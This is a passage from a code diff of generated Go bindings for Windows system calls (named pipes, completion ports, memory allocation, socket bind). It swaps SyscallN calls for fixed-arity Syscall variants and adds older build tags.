r1, _, e1 := syscall.SyscallN(procGetNamedPipeInfo.Addr(), uintptr(pipe), uintptr(unsafe.Pointer(flags)), uintptr(unsafe.Pointer(outSize)), uintptr(unsafe.Pointer(inSize)), uintptr(unsafe.Pointer(maxInstances)))
r1, _, e1 := syscall.Syscall6(procGetNamedPipeInfo.Addr(), 5, uintptr(pipe), uintptr(unsafe.Pointer(flags)), uintptr(unsafe.Pointer(outSize)), uintptr(unsafe.Pointer(inSize)), uintptr(unsafe.Pointer(maxInstances)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -354,7 +354,7 @@ func getNamedPipeInfo(pipe syscall.Handle, flags *uint32, outSize *uint32, inSiz
}
func getQueuedCompletionStatus(port syscall.Handle, bytes *uint32, key *uintptr, o **ioOperation, timeout uint32) (err error) {
r1, _, e1 := syscall.SyscallN(procGetQueuedCompletionStatus.Addr(), uintptr(port), uintptr(unsafe.Pointer(bytes)), uintptr(unsafe.Pointer(key)), uintptr(unsafe.Pointer(o)), uintptr(timeout))
r1, _, e1 := syscall.Syscall6(procGetQueuedCompletionStatus.Addr(), 5, uintptr(port), uintptr(unsafe.Pointer(bytes)), uintptr(unsafe.Pointer(key)), uintptr(unsafe.Pointer(o)), uintptr(timeout), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -362,18 +362,18 @@ func getQueuedCompletionStatus(port syscall.Handle, bytes *uint32, key *uintptr,
}
func localAlloc(uFlags uint32, length uint32) (ptr uintptr) {
r0, _, _ := syscall.SyscallN(procLocalAlloc.Addr(), uintptr(uFlags), uintptr(length))
r0, _, _ := syscall.Syscall(procLocalAlloc.Addr(), 2, uintptr(uFlags), uintptr(length), 0)
ptr = uintptr(r0)
return
}
func localFree(mem uintptr) {
syscall.SyscallN(procLocalFree.Addr(), uintptr(mem))
syscall.Syscall(procLocalFree.Addr(), 1, uintptr(mem), 0, 0)
return
}
func setFileCompletionNotificationModes(h syscall.Handle, flags uint8) (err error) {
r1, _, e1 := syscall.SyscallN(procSetFileCompletionNotificationModes.Addr(), uintptr(h), uintptr(flags))
r1, _, e1 := syscall.Syscall(procSetFileCompletionNotificationModes.Addr(), 2, uintptr(h), uintptr(flags), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -381,25 +381,25 @@ func setFileCompletionNotificationModes(h syscall.Handle, flags uint8) (err erro
}
func ntCreateNamedPipeFile(pipe *syscall.Handle, access uint32, oa *objectAttributes, iosb *ioStatusBlock, share uint32, disposition uint32, options uint32, typ uint32, readMode uint32, completionMode uint32, maxInstances uint32, inboundQuota uint32, outputQuota uint32, timeout *int64) (status ntstatus) {
r0, _, _ := syscall.SyscallN(procNtCreateNamedPipeFile.Addr(), uintptr(unsafe.Pointer(pipe)), uintptr(access), uintptr(unsafe.Pointer(oa)), uintptr(unsafe.Pointer(iosb)), uintptr(share), uintptr(disposition), uintptr(options), uintptr(typ), uintptr(readMode), uintptr(completionMode), uintptr(maxInstances), uintptr(inboundQuota), uintptr(outputQuota), uintptr(unsafe.Pointer(timeout)))
r0, _, _ := syscall.Syscall15(procNtCreateNamedPipeFile.Addr(), 14, uintptr(unsafe.Pointer(pipe)), uintptr(access), uintptr(unsafe.Pointer(oa)), uintptr(unsafe.Pointer(iosb)), uintptr(share), uintptr(disposition), uintptr(options), uintptr(typ), uintptr(readMode), uintptr(completionMode), uintptr(maxInstances), uintptr(inboundQuota), uintptr(outputQuota), uintptr(unsafe.Pointer(timeout)), 0)
status = ntstatus(r0)
return
}
func rtlDefaultNpAcl(dacl *uintptr) (status ntstatus) {
r0, _, _ := syscall.SyscallN(procRtlDefaultNpAcl.Addr(), uintptr(unsafe.Pointer(dacl)))
r0, _, _ := syscall.Syscall(procRtlDefaultNpAcl.Addr(), 1, uintptr(unsafe.Pointer(dacl)), 0, 0)
status = ntstatus(r0)
return
}
func rtlDosPathNameToNtPathName(name *uint16, ntName *unicodeString, filePart uintptr, reserved uintptr) (status ntstatus) {
r0, _, _ := syscall.SyscallN(procRtlDosPathNameToNtPathName_U.Addr(), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(ntName)), uintptr(filePart), uintptr(reserved))
r0, _, _ := syscall.Syscall6(procRtlDosPathNameToNtPathName_U.Addr(), 4, uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(ntName)), uintptr(filePart), uintptr(reserved), 0, 0)
status = ntstatus(r0)
return
}
func rtlNtStatusToDosError(status ntstatus) (winerr error) {
r0, _, _ := syscall.SyscallN(procRtlNtStatusToDosErrorNoTeb.Addr(), uintptr(status))
r0, _, _ := syscall.Syscall(procRtlNtStatusToDosErrorNoTeb.Addr(), 1, uintptr(status), 0, 0)
if r0 != 0 {
winerr = syscall.Errno(r0)
}
@@ -411,7 +411,7 @@ func wsaGetOverlappedResult(h syscall.Handle, o *syscall.Overlapped, bytes *uint
if wait {
_p0 = 1
}
r1, _, e1 := syscall.SyscallN(procWSAGetOverlappedResult.Addr(), uintptr(h), uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(bytes)), uintptr(_p0), uintptr(unsafe.Pointer(flags)))
r1, _, e1 := syscall.Syscall6(procWSAGetOverlappedResult.Addr(), 5, uintptr(h), uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(bytes)), uintptr(_p0), uintptr(unsafe.Pointer(flags)), 0)
if r1 == 0 {
err = errnoErr(e1)
}
@@ -419,7 +419,7 @@ func wsaGetOverlappedResult(h syscall.Handle, o *syscall.Overlapped, bytes *uint
}
func bind(s syscall.Handle, name unsafe.Pointer, namelen int32) (err error) {
r1, _, e1 := syscall.SyscallN(procbind.Addr(), uintptr(s), uintptr(name), uintptr(namelen))
r1, _, e1 := syscall.Syscall(procbind.Addr(), 3, uintptr(s), uintptr(name), uintptr(namelen))
if r1 == socketError {
err = errnoErr(e1)
}
@@ -1,4 +1,5 @@
//go:build (windows && 386) || (windows && arm)
// +build windows,386 windows,arm
/* SPDX-License-Identifier: MIT
*
@@ -1,4 +1,5 @@
//go:build (windows && amd64) || (windows && arm64)
// +build windows,amd64 windows,arm64
/* SPDX-License-Identifier: MIT
*
@@ -1,4 +1,5 @@
//go:build (windows && 386) || (windows && arm)
// +build windows,386 windows,arm
/* SPDX-License-Identifier: MIT
*
Loaded 100 of 1381 files, more files were not shown because too many files have changed in this diff. Show more